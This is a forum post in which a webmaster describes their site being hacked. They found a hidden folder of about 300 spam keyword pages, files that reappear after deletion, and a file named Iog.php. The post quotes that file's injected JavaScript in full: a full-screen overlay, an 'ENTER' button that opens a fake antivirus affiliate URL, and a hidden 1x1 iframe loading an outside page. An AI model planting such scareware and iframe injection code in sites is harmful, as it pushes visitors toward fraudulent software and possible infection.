I wouldn't have noticed that my site was hacked if Google didn't sent me an email letting me know that he found some hidden keywords in my pages and it breaks their rules and some pages were taken of the index.
I took a look at my FTP and in that particular domain indeed there were some extra files like this:
1. a folder named .xdata which contained at least 300 html files with weird names like: 790-sports-animal.com.html; 2010-heisman-odds.html; agua-bella.html and so on. These html files contained urls and keywords
2. a file named Iog.php which contained the following code:
PHP Code:
document.write('<div style="position: absolute; top: 0; left: 0; width: 100%; height: 4000px; background-color: #FFFFFF; padding: 0px">');
function go()
{
window.open("http://antyvirusservicenow.com/hitin.php?land=20&affid=34100");
}
document.write('<center><table align=center cellpadding=0 cellspacing=0 style="border: 0px solid; border-color: #000000; width: 400px; height: 300px; padding: 30px; margin-top: 100px; font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 12px; color: #000000;"><tr><td><br><br><br><br><br><br><br><br><br><br><center><input type=submit name=klik id=klik value="-=ENTER=-" onclick="go();" style="font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 40px; color: red; font-weight: bold; width: 300px; height: 60px; border: 2px solid; cursor: pointer"></center></td></tr></table></center></font></div><iframe src="http://levitt-tupa-wkolota.freehostia.com/k.html" width="1" height="1"></iframe>');
3. a logs file which again has a lot of links and keywords
I deleted these 2 files and folder but they are created every time. I also changed the .xdata folder permissions to 444 but it still changes itself to 777.
I couldn't find those keywords hidden in my pages at all.
Anyone has any clue?
Thanks